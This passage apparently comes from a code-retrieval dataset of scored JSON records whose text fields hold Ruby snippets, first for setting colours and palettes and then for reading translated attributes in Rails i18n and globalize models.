end\n\n # Check that the colour index is the right range\n if index < 8 || index > 64\n raise \"Color index #{index} outside range: 8 <= index <= 64\"\n end\n\n # Check that the colour components are in the right range\n if (red < 0 || red > 255) ||\n (green < 0 || green > 255) ||\n (blue < 0 || blue > 255)\n raise \"Color component outside range: 0 <= color <= 255\"\n end\n\n index -=8 # Adjust colour index (wingless dragonfly)\n\n # Set the RGB value\n @palette[index] = [red, green, blue, 0]\n\n index + 8\n end", "title": "" }, { "docid": "68211f0c65ef32edca5fe03afd2c5c64", "score": "0.57491755", "text": "def set_color(string, *_arg1); end", "title": "" }, { "docid": "bb266c3fdf093ee0a687dc1f960a8da7", "score": "0.57400817", "text": "def set_custom_color(index, red = 0, green = 0, blue = 0)\n # Match a HTML #xxyyzz style parameter\n if red =~ /^#(\\w\\w)(\\w\\w)(\\w\\w)/\n red = $1.hex\n green = $2.hex\n blue = $3.hex\n end\n\n # Check that the colour index is the right range\n if index < 8 || index > 64\n raise \"Color index #{index} outside range: 8 <= index <= 64\"\n end\n\n # Check that the colour components are in the right range\n if (red < 0 || red > 255) ||\n (green < 0 || green > 255) ||\n (blue < 0 || blue > 255)\n raise \"Color component outside range: 0 <= color <= 255\"\n end\n\n index -=8 # Adjust colour index (wingless dragonfly)\n\n # Set the RGB value\n @palette[index] = [red, green, blue]\n\n # Store the custome colors for the style.xml file.\n @custom_colors << sprintf(\"FF%02X%02X%02X\", red, green, blue)\n\n index + 8\n end", "title": "" }, { "docid": "95eca0cde2ce6012ac2e4416bfa5db42", "score": "0.57388747", "text": "def set_color(color)\n cr.set_source_rgba(*color.to_rgb.to_a)\n end", "title": "" }, { "docid": "febb8817bc04a4381a7661f036aa301e", "score": "0.5732904", "text": "def color=(new_color)\n @color = new_color\n end", "title": "" }, { "docid": "5ceeadbe16078c657d0a26ee0c89e866", "score": "0.57266754", "text": "def set_custom_color(index, red = 0, green = 0, blue = 0)\n # Match a HTML #xxyyzz style parameter\n if !red.nil? && red =~ /^#(\\w\\w)(\\w\\w)(\\w\\w)/\n red = $1.hex\n green = $2.hex\n blue = $3.hex\n end\n\n # Check that the colour index is the right range\n if index < 8 || index > 64\n raise \"Color index #{index} outside range: 8 <= index <= 64\"\n end\n\n # Check that the colour components are in the right range\n if (red < 0 || red > 255) ||\n (green < 0 || green > 255) ||\n (blue < 0 || blue > 255)\n raise \"Color component outside range: 0 <= color <= 255\"\n end\n\n index -=8 # Adjust colour index (wingless dragonfly)\n\n # Set the RGB value\n @palette[index] = [red, green, blue]\n\n # Store the custome colors for the style.xml file.\n @custom_colors << sprintf(\"FF%02X%02X%02X\", red, green, blue)\n\n index + 8\n end", "title": "" }, { "docid": "dfab2e3265da40d5189a99af803904aa", "score": "0.5723375", "text": "def set_color\n\t\tself.color = self.token[0..5].each_char.map{|t| (t.ord * 7 % 16).to_s(16) }.join\n\t\tself.save\n\tend", "title": "" }, { "docid": "32dff0060533c11e3e98d31ccd417760", "score": "0.57062346", "text": "def replace_colors(color_list=[])\n @colors = color_list\n end", "title": "" }, { "docid": "32dff0060533c11e3e98d31ccd417760", "score": "0.57062346", "text": "def replace_colors(color_list=[])\n @colors = color_list\n end", "title": "" }, { "docid": "32dff0060533c11e3e98d31ccd417760", "score": "0.57062346", "text": "def replace_colors(color_list=[])\n @colors = color_list\n end", "title": "" }, { "docid": "bf8ba50232cc20d2c83a5ba91001c49d", "score": "0.5697991", "text": "def AddSpotColor(name, c, m, y, k)\n if @spot_colors[name].nil?\n i = 1 + @spot_colors.length\n @spot_colors[name] = {'i' => i, 'c' => c, 'm' => m, 'y' => y, 'k' => k}\n end\n end", "title": "" }, { "docid": "1ba6a6691c7b39eecc9faa556e7804e4", "score": "0.5696843", "text": "def update_colors color_hash\n color_hash.each_pair do |sym, color|\n if respond_to? sym.to_sym\n if String::COLORS.has_key? color\n Cologger.const_set((sym_for sym.to_sym, \"COLOR\"), color)\n else\n puts \"Unknown color #{color} for #{sym}, ignord\".red\n end\n else\n puts \"Unknown log level #{sym}, ignored\".red\n end\n end\n end", "title": "" }, { "docid": "e13d9e40608b485c6c36adbeed8f08fe", "score": "0.56903464", "text": "def spray_paint(color)\n self.color = color\n end", "title": "" }, { "docid": "f122c55c2cbff057fb953c1922e5645b", "score": "0.5688276", "text": "def set_custom_color(index = nil, red = nil, green = nil, blue = nil)\n # Match a HTML #xxyyzz style parameter\n if !red.nil? && red =~ /^#(\\w\\w)(\\w\\w)(\\w\\w)/\n red = $1.hex\n green = $2.hex\n blue = $3.hex\n end\n\n # Check that the colour index is the right range\n if index < 8 || index > 64\n raise \"Color index #{index} outside range: 8 <= index <= 64\";\n end\n\n # Check that the colour components are in the right range\n if (red < 0 || red > 255) ||\n (green < 0 || green > 255) ||\n (blue < 0 || blue > 255)\n raise \"Color component outside range: 0 <= color <= 255\";\n end\n\n index -=8 # Adjust colour index (wingless dragonfly)\n\n # Set the RGB value\n @palette[index] = [red, green, blue, 0]\n\n return index +8\n end", "title": "" }, { "docid": "b937adebf0a6303f913cf2b6820af08d", "score": "0.5687507", "text": "def color(what,*how)\n if how.size > 0\n @@me ||= `#{@@termcap['me']}`\n @colors << [Regexp.new(what), how.join('') + '\\0' + @@me]\n end\n end", "title": "" }, { "docid": "b95284d65361749499e4c382411efea3", "score": "0.56838197", "text": "def set_color(string, *) #:nodoc:\n string\n end", "title": "" }, { "docid": "5187a18d8d69dab80ebab2e2a14f4735", "score": "0.568242", "text": "def line_color(type)\n return :green if type == :stdout\n :red\n end", "title": "" }, { "docid": "55e4d80b73476d6981f295239eae7cd5", "score": "0.5662309", "text": "def drawing_color=(color)\n end", "title": "" }, { "docid": "dec162981489507f8b77ce47155867fe", "score": "0.5653045", "text": "def color(*args)\n self.class.color(*args)\n end", "title": "" }, { "docid": "132a95377914b70104758b2fc28f8d0a", "score": "0.56496257", "text": "def color=(v); end", "title": "" }, { "docid": "f9d687f6eddabd8dc3df10e085101e13", "score": "0.5642257", "text": "def stroke_color!(color = nil)\n if color\n @current_stroke_color = color\n add_content \"\\n#{@current_stroke_color.pdf_stroke}\"\n end\n end", "title": "" }, { "docid": "5e080920774b7de64683566c12466211", "score": "0.56382793", "text": "def initialize_colors\n @colors = SimpleTypedList.new Color\n @colors.concat [Color.new(:rgb => \"FFFF0000\"), Color.new(:rgb => \"FF0000FF\")]\n @colors.lock\n end", "title": "" }, { "docid": "dc36091478d601d17c337199aa366e48", "score": "0.562718", "text": "def set_color(light, color, opts={})\n hsl = color.to_hsl\n opts = opts.merge(bri: (hsl.l * 255).to_i,\n sat: (hsl.s * 255).to_i,\n hue: (hsl.h * 360 * 182).to_i)\n write(light, opts)\n end", "title": "" }, { "docid": "0c1dfd3e2e6914dcb44ed4910cdd10d3", "score": "0.56268096", "text": "def color=(c)\n unless c.nil? || (c.is_a?(Array) && c.all? { |el| el.is_a?(Numeric) }) || c.respond_to?(:call)\n raise \"Color must be nil, a 3- or 4-numeric Array, or a Proc\"\n end\n\n @color = c\n end", "title": "" }, { "docid": "a9ae196818b5e4fdf8b376ccda72bafd", "score": "0.5626128", "text": "def setcolor(name, desc)\n\t\t\t\tif !desc.kind_of?(String) && !name.kind_of?(String)\n\t\t\t\t\traise \"Term::Visual::Palette.addcolor requires two \" \\\n\t\t\t\t\t\"String arguments.\"\n\t\t\t\tend\n\t\t\t\tdesc.strip!\n\t\t\t\tdesc.downcase!\n\t\t\t\tfg, bg = desc.split(/\\s+on\\s+/, 2)\n\n\t\t\t\tfgcolor, bgcolor, attr = 0, 0, 0\n\n\t\t\t\tfor w in fg.split(/\\s+/)\n\t\t\t\t\tif ColorTable[w]\n\t\t\t\t\t\tfgcolor |= ColorTable[w]\n\t\t\t\t\tend\n\t\t\t\t\tif AttrTable[w]\n\t\t\t\t\t\tattr |= AttrTable[w]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tfor w in bg.split(/\\s+/)\n\t\t\t\t\tif ColorTable[w]\n\t\t\t\t\t\tbgcolor |= ColorTable[w]\n\t\t\t\t\tend\n\t\t\t\t\tif AttrTable[w]\n\t\t\t\t\t\tattr |= AttrTable[w]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif @colors[name]\n\t\t\t\t\tid = @colors[name][0]\n\t\t\t\t\tNcurses.init_pair(id, fgcolor, bgcolor)\n\t\t\t\t\t@colors[name][1] = Ncurses::COLOR_PAIR(id) | attr\n\t\t\t\telse\n\t\t\t\t\tNcurses.init_pair(@curcolid, fgcolor, bgcolor)\n\t\t\t\t\t@colors[name] = [@curcolid, \\\n\t\t\t\t\t\tNcurses::COLOR_PAIR(@curcolid) | attr]\n\t\t\t\t\t@curcolid += 1\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "7472795d42dd12ce0a1e7b478bdf3da3", "score": "0.56259525", "text": "def SetDrawColorArray(color)\n if !color.nil?\n color = color.values if color.is_a? Hash\n r = !color[0].nil? ? color[0] : -1\n g = !color[1].nil? ? color[1] : -1\n b = !color[2].nil? ? color[2] : -1\n k = !color[3].nil? ? color[3] : -1\n if r >= 0\n SetDrawColor(r, g, b, k)\n end\n end\n end", "title": "" }, { "docid": "039be9a90066cde9ebdb892eca8a745d", "score": "0.56208307", "text": "def add_match strings, colours, is_line\n strings.each { |string|\n @rules.push [string, colours, is_line]\n }\n end", "title": "" }, { "docid": "8c7c886171a0afabb6bb7c50c44aeaf1", "score": "0.56167334", "text": "def color(type, str)\n text.send(Pry.config.ls.send(:\"#{type}_color\"), str)\n end", "title": "" }, { "docid": "973a74eacec6203a4e1f0c8ea75e0361", "score": "0.5616028", "text": "def color=(color)\n Validator.validate_colors(color)\n @parameters[:color] = color\n end", "title": "" }, { "docid": "40cf023ff56747c8f22eecb4364754c9", "score": "0.5616015", "text": "def get_colors(conn)\n conn.send_msg(Message.new('definitions','set_colors',@defs.colors))\n end", "title": "" }, { "docid": "5b9d7971c1d8193cfb54b6a1de64ac36", "score": "0.5611087", "text": "def color(string)\n code + string + HighLine::CLEAR\n end", "title": "" }, { "docid": "08f7baf0952424d6162ffd159e3ca3d1", "score": "0.5604276", "text": "def paint!(new_color)\n @color = new_color\n end", "title": "" }, { "docid": "fce24745c8dc7b9a7afbb1ec6815d91c", "score": "0.56019354", "text": "def paint(color)\n self.update(color: color)\n end", "title": "" }, { "docid": "fce24745c8dc7b9a7afbb1ec6815d91c", "score": "0.56019354", "text": "def paint(color)\n self.update(color: color)\n end", "title": "" }, { "docid": "fce24745c8dc7b9a7afbb1ec6815d91c", "score": "0.56019354", "text": "def paint(color)\n self.update(color: color)\n end", "title": "" }, { "docid": "fce24745c8dc7b9a7afbb1ec6815d91c", "score": "0.56019354", "text": "def paint(color)\n self.update(color: color)\n end", "title": "" }, { "docid": "e395268a065391fa0ba6a88376d81e0c", "score": "0.5589002", "text": "def color\n @color ||= '#' + %w[0 3 6 9 C F].shuffle.join\n end", "title": "" } ]
c89baed511272ed366cdc63d481fc14d
def read_translated_attribute(name, locale) globalize.stash.contains?(locale, name) ? globalize.stash.read(locale, name) : translation_for(locale).send(name) end
[ { "docid": "66e4ca0af7481ca70a2a881fb57d895a", "score": "0.0", "text": "def contributor\n contributor_type.nil? ? nil : contributor_type.constantize.find(contributor_id)\n end", "title": "" } ]
[ { "docid": "dc1919132498593d234b7b5f01c99986", "score": "0.85537934", "text": "def read_translation(attr_name, locale = I18n.locale)\n translations = send(translated_attr_name(attr_name)) || {}\n return translations[locale] if translations.key?(locale)\n return translations[I18n.default_locale] if translations.key?(I18n.default_locale)\n self[attr_name]\n end", "title": "" }, { "docid": "27d1e6b46452804f89d921cf710e1308", "score": "0.79500633", "text": "def read_attribute(name, options = {})\n # Deprecate old use of locale\n unless options.is_a?(Hash)\n warn \"[DEPRECATION] passing 'locale' as #{options.inspect} is deprecated. Please use {:locale => #{options.inspect}} instead.\"\n options = {:locale => options}\n end\n\n options = {:translated => true, :locale => nil}.merge(options)\n if self.class.translated?(name) and options[:translated]\n if (is_story_translation == true && value = globalize.fetch(options[:locale] || current_locale, name))\n value\n elsif (is_story_translation == false && value = globalize.fetch(options[:locale] || Globalize.locale, name))\n value\n else\n super(name)\n end\n else\n super(name)\n end\n end", "title": "" }, { "docid": "3ad778d2aa27541599cb9dcb3f8b4fd1", "score": "0.7799887", "text": "def get_native_locale_attribute attribute, locale = I18n.locale\n return self.send(attribute) unless translatable?\n\n if globalize.stash.contains?(locale, attribute)\n globalize.stash.read(locale, attribute)\n else\n translation_for(locale).send(attribute)\n end\n end", "title": "" }, { "docid": "226932acbc5602465671d9360c957f41", "score": "0.75207883", "text": "def read_i18n_attribute attr_name\n attr = read_attribute(attr_name)\n t = I18n.translate(\"activerecord.symbolizes.#{self.class.model_name.to_s.underscore}.#{attr_name}.#{attr}\") #.to_sym rescue nila\n t.is_a?(Hash) ? nil : t\n end", "title": "" }, { "docid": "47aec99ea26b91f8f387ab5ff20c4960", "score": "0.7472309", "text": "def read_i18n_attribute(attr_name)\n t = self.class.i18n_translation_for(attr_name, read_attribute(attr_name))\n t.is_a?(Hash) ? nil : t\n end", "title": "" }, { "docid": "fd69cf61fb9ac5c5b2abef97bab051a1", "score": "0.74365675", "text": "def define_translated_attr_reader(attr_name)\n # Define a dynamic method for translating database-backed attributes,\n # falling back to the database information as needed.\n #\n # Note: the empty string is provided as the final fallback to avoid i18n blowing\n # up on nil attributes.\n define_method(:\"#{attr_name}\") do\n send(\"translated_#{attr_name}\", default: [attr_translation(attr_name), ''])\n end\n\n # Define an accessor that gets the value of the attribute in a given locale,\n # returning `nil` for untranslated values.\n #\n # Note: For the default locale, we actually want to dig into the database,\n # because that is the source of truth for the data.\n define_method(:\"translated_#{attr_name}\") do |default: [], **options|\n default = Array.wrap(default)\n default.prepend(attr_translation(attr_name)) if I18n.locale == I18n.default_locale\n I18n.t(attr_name, scope: slug, default: default, **options).presence\n end\n end", "title": "" }, { "docid": "160e6c66933e8abdfd6873ac0a9a81d6", "score": "0.72624123", "text": "def translation_for(locale, **)\n translation = model.send(association_name).find { |t| t.key == attribute && t.locale == locale.to_s }\n translation ||= class_name.new(locale: locale, key: attribute)\n translation\n end", "title": "" }, { "docid": "265081ce4416081e33e2ce176ff14fc3", "score": "0.7239977", "text": "def translation_for(locale, _)\n translation = model.send(association_name).find { |t| t.key == attribute && t.locale == locale.to_s }\n translation ||= class_name.new(locale: locale, key: attribute)\n translation\n end", "title": "" }, { "docid": "265081ce4416081e33e2ce176ff14fc3", "score": "0.7239977", "text": "def translation_for(locale, _)\n translation = model.send(association_name).find { |t| t.key == attribute && t.locale == locale.to_s }\n translation ||= class_name.new(locale: locale, key: attribute)\n translation\n end", "title": "" }, { "docid": "3fcc1750189464b256f2a67aa3e60c38", "score": "0.7047236", "text": "def read_attribute(property, locale = nil)\n property = \"#{property}_#{locale}\" if locale\n @properties_data[property.to_s]\n end", "title": "" }, { "docid": "230497d4494d6c8b89ff998bd91e711e", "score": "0.70449156", "text": "def translation_for_serialized(locale, name, value, build_if_missing = false)\n\n unless translation_caches[\"#{locale}_#{name}\"]\n engine = self.attributes.has_key?(name) ? nil : JSON\n deserialized_value = engine.nil? ? value : engine.load(value)\n\n only = self.translated_serialized_attributes[name.to_sym].map(&:to_s)\n if only.empty?\n regex_keys = /\\A#{name.to_s}_([a-z_]+[a-z])(?:_([0-9]*))?\\Z/\n else\n regex_keys = /\\A#{name.to_s}_(#{only.join('|')})(?:_([0-9]*))?\\Z/\n end\n # Fetch translations from database as those in the translation collection may be incomplete\n _translations = translations.select{|t| t.locale.to_s == locale.to_s && t.key.to_s =~ regex_keys }\n _translations.each do |t|\n matched = t.key.match regex_keys\n unless matched.nil?\n if matched.size == 3\n sub_attr = matched[1]\n index = matched[2].to_i\n value[index][sub_attr] = t.value if value.size > index && value[index].has_key?(sub_attr)\n elsif matched.size == 3\n sub_attr = matched[1]\n value[sub_attr] = t.value if value.has_key?(sub_attr)\n end\n end\n end\n\n translation_caches[\"#{locale}_#{name}\"] = value\n end\n translation_caches[\"#{locale}_#{name}\"]\n end", "title": "" }, { "docid": "94811040f3f9449382fe4df05212a21c", "score": "0.70165783", "text": "def translation_for(locale, **)\n translation = translations.find do |t|\n t.send(key_column) == attribute && t.locale == locale.to_s\n end\n translation ||= translations.build(locale: locale, key_column => attribute)\n translation\n end", "title": "" }, { "docid": "530e222d05cbc4ea2b1567c76b6a9001", "score": "0.7010479", "text": "def attr_translation(attr_name)\n self[attr_name]\n end", "title": "" }, { "docid": "530e222d05cbc4ea2b1567c76b6a9001", "score": "0.7010479", "text": "def attr_translation(attr_name)\n self[attr_name]\n end", "title": "" }, { "docid": "3c09576967724481bf9e1332586f62e8", "score": "0.69543374", "text": "def translatable_locale locale_attr\n @translatable[:locale] = translatable_locale_prepared locale_attr\n end", "title": "" }, { "docid": "f689d7b5dab043a0b3cf849e1f57e2a2", "score": "0.6911407", "text": "def translation_for(locale, _options = {})\n translation = translations.find { |t| t.key == attribute && t.locale == locale.to_s }\n translation ||= translations.build(locale: locale, key: attribute)\n translation\n end", "title": "" }, { "docid": "bb5f5e595e33a8fad3af7912c8142d9d", "score": "0.67624557", "text": "def lookup(locale, key, default, scope)\n # cache and return translation. Translation can be find by:\n # - standard I18n::Backend::Simple.lookup method. If its failed, then:\n # - Translation model lookup method\n cache_translation(translation = Translation.lookup(locale, key, default, scope)) unless translation = super(locale, key, scope)\n translation\n\n end", "title": "" }, { "docid": "a7dce5684037e8206e57dea7844fb953", "score": "0.6749829", "text": "def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/strings/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n hash = YAML.load(response)\n return nil if hash.empty?\n translation = WebTranslateIt::Translation.new(hash)\n return translation\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end", "title": "" }, { "docid": "ca9a738426a90912e7a2a2029a283a7a", "score": "0.6715244", "text": "def get_translation(object, locale=self.current_locale, fallback_locale=self.default_language)\n fallback_locale ||= I18n.default_locale\n\n orig_locale = I18n.locale\n I18n.locale = locale.to_sym\n\n # puts \"---> for #{caller_locations(1,1)[0].label}, locale = #{I18n.locale}, fallback = #{fallback_locale}\"\n text = object[I18n.locale.to_s]\n text = object[fallback_locale.to_s] if text.blank?\n\n I18n.locale = orig_locale\n\n return text\n end", "title": "" }, { "docid": "6ad74d3443d36da1fe28f6e586ea3c83", "score": "0.6715162", "text": "def locale_value(locale, key)\n \t value = Translator.store[\"#{locale}.#{key}\"]\n \t value if value && !ActiveSupport::JSON.decode(value).is_a?(Hash)\n \tend", "title": "" }, { "docid": "1a665e8a35637b2c45b2c015dbc72729", "score": "0.6710353", "text": "def define_translated_attr_reader(attr_name)\n define_method(:\"#{attr_name}\") do\n I18n.translate(attr_name, scope: slug, default: attr_translation(attr_name))\n end\n end", "title": "" }, { "docid": "04f744656a120e81e41ebeaf458b90d8", "score": "0.6687686", "text": "def lookup(locale, key, scope=[], options={})\n cache_key = ::Translation.ck(locale, key)\n if @cache_store.exist?(cache_key)\n value = @cache_store.read(cache_key)\n return value.nil? ? nil : I18n.unescape_translation_key_without_scope(value)\n else\n translations = locale.translations.find_all_by_key(::Translation.hk(key))\n case translations.size\n when 0\n value = nil\n when 1\n value = translations.first.value_or_default\n else\n value = translations.inject([]) do |values, t| \n values[t.pluralization_index] = t.value_or_default\n values\n end\n end\n @cache_store.write(cache_key, (value.nil? ? nil : value))\n return I18n.unescape_translation_key_without_scope(value)\n end\n end", "title": "" }, { "docid": "11c88d048db4b38344db8d760e28ce12", "score": "0.66780275", "text": "def translated_attr_accessor(name)\r\n define_method(:\"#{name}=\") do |value|\r\n write_attribute(name, value)\r\n end\r\n define_method(name) do |*args|\r\n read_attribute(name, {:locale => args.first})\r\n end\r\n alias_method :\"#{name}_before_type_cast\", name\r\n end", "title": "" }, { "docid": "ffecec702c2ea46bb5de9122f974f825", "score": "0.6635571", "text": "def read_i18n_attribute keys_by_values, attr_name, value\n attr = value.is_a?(String) ? keys_by_values[value] : value\n return nil if attr.nil?\n I18n.translate(\"activerecord.attributes.#{ActiveSupport::Inflector.underscore(self)}.#{attr_name}/#{attr}\")\n end", "title": "" }, { "docid": "edfa5d03195115e25e559c734d4076cc", "score": "0.6574868", "text": "def define_localized_accessor(attr_name, locale)\n define_method :\"#{attr_name}_#{locale}\" do\n Globalize.with_locale(locale) do\n send attr_name\n end\n #read_attribute(attr_name, :locale => locale)\n end\n\n define_method :\"#{attr_name}_#{locale}=\" do |val|\n Globalize.with_locale(locale) do\n send :\"#{attr_name}=\", val\n end\n #write_attribute(attr_name, val, :locale => locale)\n end \n end", "title": "" }, { "docid": "7ef2e41b30520a6591f2a909c442e883", "score": "0.6563448", "text": "def translation_for(locale, _)\n translation = translations.in_locale(locale)\n translation ||= translations.build(locale: locale)\n translation\n end", "title": "" }, { "docid": "4c630502cc279815c236540c93f81ca7", "score": "0.65250486", "text": "def cached_translations(locale, key)\n return unless self.translations and self.translations[locale]\n self.translations[locale][key]\n end", "title": "" }, { "docid": "a3d1eb93b75d9eaff0092981b12eb517", "score": "0.6466162", "text": "def translated_attr(*attributes)\n make_it_translated! unless included_modules.include?(InstanceMethods)\n\n attributes.each do |attribute|\n # dynamic validations\n # TODO forse va sul metodo translations_for...\n validates attribute, :translation_presence => true, :translation_uniq => true\n\n #dynamic finders\n (class << self; self; end).class_eval do\n define_method \"find_by_#{attribute}\" do |value|\n self.send(\"find_all_by_#{attribute}\".to_sym, value).first\n end\n\n define_method \"find_all_by_#{attribute}\" do |value|\n joins(:translations).\n where(\"#{self.to_s.tableize.singularize}_translations.locale\" => \"#{I18n.locale}\",\n \"#{self.to_s.tableize.singularize}_translations.#{attribute}\" => \"#{value}\").\n readonly(false)\n end\n\n define_method \"find_or_new_by_#{attribute}\" do |value|\n self.send(\"find_by_#{attribute}\".to_sym, value) || self.new { |r| r.send(\"#{attribute}=\", value) }\n end\n end\n\n # this make possible to specify getter and setter methods per locale,\n # eg: given title attribute you can use getter\n # as: title_en or title_it and setter as title_en= and title_it=\n I18n.available_locales.each do |locale|\n\n define_method \"#{attribute}_#{locale}=\" do |value|\n set_attribute(attribute, value, locale)\n end\n\n define_method \"#{attribute}_#{locale}\" do\n return localized_attributes[locale][attribute] if localized_attributes[locale][attribute]\n return if new_record?\n translations.where(:locale => \"#{locale}\").first.send(attribute.to_sym) rescue nil\n end\n\n # extension to the above dynamic finders\n (class << self; self; end).class_eval do\n define_method \"find_by_#{attribute}_#{locale}\" do |value|\n self.send(\"find_all_by_#{attribute}_#{locale}\".to_sym, value).first\n end\n\n define_method \"find_all_by_#{attribute}_#{locale}\" do |value|\n joins(:translations).\n where(\"#{self.to_s.tableize.singularize}_translations.locale\" => \"#{locale}\",\n \"#{self.to_s.tableize.singularize}_translations.#{attribute}\" => \"#{value}\").\n readonly(false)\n end\n\n define_method \"find_or_new_by_#{attribute}_#{locale}\" do |value|\n self.send(\"find_by_#{attribute}_#{locale}\".to_sym, value) ||\n self.new { |r| r.send(\"#{attribute}_#{locale}=\", value) }\n end\n end\n end\n\n # attribute setter\n define_method \"#{attribute}=\" do |value|\n set_attribute(attribute, value)\n end\n\n # attribute getter\n define_method attribute do\n # return previously setted attributes if present\n return localized_attributes[I18n.locale][attribute] if localized_attributes[I18n.locale][attribute]\n return if new_record?\n\n # Lookup chain:\n # if translation not present in current locale,\n # use default locale, if present.\n # Otherwise use first translation\n translation = translations.detect { |t| t.locale.to_sym == I18n.locale && t[attribute] } ||\n translations.detect { |t| t.locale.to_sym == translations_default_locale && t[attribute] } ||\n translations.first\n\n translation ? translation[attribute] : nil\n end\n\n define_method \"#{attribute}_before_type_cast\" do\n self.send(attribute)\n end\n\n define_method \"modified?\" do\n if valid? # force the update_translations! method\n translations.map_by_changed?.any? || changed?\n end\n end\n end\n end", "title": "" }, { "docid": "d7245d2ea81b246299a3dcf04e74a509", "score": "0.64590675", "text": "def locale\n attributes.fetch(:locale)\n end", "title": "" }, { "docid": "7789f5db386d202f9c93a7e8de5fa67a", "score": "0.6436641", "text": "def translation\n if ((! @disable_translation) and locale)\n if (! (@translation and (@translation.send(_locale_foreign_key) == locale.id)))\n # try to find entity in translations array\n @translation = nil\n self.translations.each do | t |\n if (t.send(_locale_foreign_key) == locale.id)\n @translation = t\n break;\n end\n end\n # @translation = self.translations.find(:first, :conditions=>['locale_id = ?', locale.id])\n if (! @translation)\n @translation = self.translations.build()\n @translation.send(\"#{_locale_association}=\", locale)\n end\n end\n return @translation\n end\n return nil\n end", "title": "" }, { "docid": "aed0399b54e0aa1587be8cdeb696a7a1", "score": "0.64331454", "text": "def translated_in\n if self.localized?\n self.send(:\"#{_label_field_name}_translations\").keys\n else\n nil\n end\n end", "title": "" }, { "docid": "af0502ce59333a2e8cd408f903996930", "score": "0.6432702", "text": "def name\n self[\"name_#{I18n.locale}\"]\n end", "title": "" }, { "docid": "0d82152f0668051f6723ebecb43a352f", "score": "0.6419617", "text": "def translation\n if !@disable_translation and locale\n if !@translation || (@translation.locale != locale)\n # try to find entity in translations array\n @translation = translations.find_by_locale(locale)\n @translation = self.translations.build(:locale => locale) unless @translation\n end\n @translation\n else\n nil\n end\n end", "title": "" }, { "docid": "8f138e30f40b8d97256fcbffa1c81452", "score": "0.6398719", "text": "def translate(key)\n $messages[$language][key.to_s]\nend", "title": "" }, { "docid": "4ea89058f2bfcea98b09947035bc5654", "score": "0.6383663", "text": "def fetch_translations(locale)\n self.translations ||= {}\n self.translations[locale] ||= begin\n results = Tml.cache.fetch(Tml::Application.translations_cache_key(locale)) do\n data = {}\n unless Tml.cache.read_only?\n data = api_client.get(\"projects/#{key}/translations\", :all => true, :ignored => true, :raw_json => true)\n end\n data\n end\n\n if results.is_a?(Hash) and results['results']\n results = results['results']\n self.ignored_keys = results['ignored_keys'] || []\n end\n\n translations_by_key = {}\n results.each do |key, data|\n translations_data = data.is_a?(Hash) ? data['translations'] : data\n translations_by_key[key] = translations_data.collect do |t|\n Tml::Translation.new(\n :locale => t['locale'] || locale,\n :label => t['label'],\n :locked => t['locked'],\n :context => t['context']\n )\n end\n end\n translations_by_key\n end\n rescue Tml::Exception => ex\n {}\n end", "title": "" }, { "docid": "5f77a5bcf78fa01915425c89951501ba", "score": "0.6380368", "text": "def translations(path, language)\n\t\t\t\tlanguage_file = localized_path(path, language) + \".yml\"\n instance.translations_cache[language_file] ||= load_language_file(language_file)\n\t\t\tend", "title": "" }, { "docid": "01a1b006d02b23ce4854c0892b0382d0", "score": "0.63763654", "text": "def localize attribs, translate\n locale_classes = [Time, Date, DateTime]\n if translate.is_a?(Array) && I18n\n translate.each do |col|\n attribs[col.to_s] = I18n.l(attribs[col.to_s]) if locale_classes.include?(attribs[col.to_s].class)\n end\n end\n end", "title": "" }, { "docid": "c975284bf0eb5214badd8fc380541801", "score": "0.6352779", "text": "def read_locale\n Thread.current[:globalize_locale]\n end", "title": "" }, { "docid": "5e099300ff923367d981ac3e3e39b114", "score": "0.634137", "text": "def translated_label(label, locale=I18n.default_locale)\n OneclickRefernet::TranslationService.new.get(translation_key(label), locale)\n end", "title": "" }, { "docid": "cc8e128e609bbe9cd0a9c0f21d1eb8bf", "score": "0.6322138", "text": "def lang\n read_attribute(:lang) || 'en'\n end", "title": "" }, { "docid": "9c0f1acd6ed0bc75c1b7ac7b1db332e0", "score": "0.6302103", "text": "def localize(attr)\n self.attributes[attr.to_s + '_' + normalize_locale(I18n.locale)] || self.attributes[attr.to_s + '_' + normalize_locale(I18n.default_locale)]\n end", "title": "" }, { "docid": "c005ca4426a13b170b7cd146f48437ae", "score": "0.6243809", "text": "def translated_attr_name(attr_name)\n \"#{attr_name}_translations\"\n end", "title": "" }, { "docid": "1c89a2476975e0c439a4381962b1da5c", "score": "0.6240523", "text": "def update_localization\n data = TranslationString.translations(language.locale.to_sym)\n unless data\n raise(\n \"Localization for #{language.locale.inspect} hasn't been loaded yet!\"\n )\n end\n unless data[tag.to_sym]\n raise(\"Localization for :#{tag.to_sym} doesn't exist!\")\n end\n\n store_localization\n end", "title": "" }, { "docid": "05c51edffc16fb53a039f1530c1195ce", "score": "0.6222405", "text": "def method_missing(name, *args, &block)\n match = name.to_s.match(LOCALIZED_ATTRIBUTE_REGEX)\n\n if match\n if localized_attributes.include?(match[:name].to_sym)\n if match[:suffix].nil? # No equals sign -- not a setter\n # Try to load a string for the given locale\n # If that fails, try for the primary locale\n raise ArgumentError, \"wrong number of arguments (#{args.size} for 0 or 1)\" unless args.size.between?(0, 1)\n options = args.extract_options!\n return read_localized_attribute($1, args.first, options) || read_localized_attribute($1, HasLocalizationTable.primary_locale, options)\n elsif match[:suffix] == '='\n raise ArgumentError, \"wrong number of arguments (#{args.size} for 1)\" unless args.size == 1\n return write_localized_attribute($1, args.first)\n elsif current_localization.respond_to?(name).inspect\n return localized_attribute_changed?(name.to_s.sub(/_changed\\?/, ''))\n end\n end\n end\n\n super\n end", "title": "" }, { "docid": "30d21a6ec307c8ba28d506ab142d1658", "score": "0.6207971", "text": "def localize(singular, plural, n, locale)\n unless [\"development\", \"test\"].include?(Merb.environment)\n lang = @lang\n else\n lang = {}\n end\n\n lang[locale] = yaml_data(locale) unless lang.include?(locale)\n\n unless lang[locale].nil?\n lang = lang[locale]\n unless lang[singular].nil?\n unless plural.nil?\n n = Merb::Global::Plural.which_form n, lang[:plural]\n 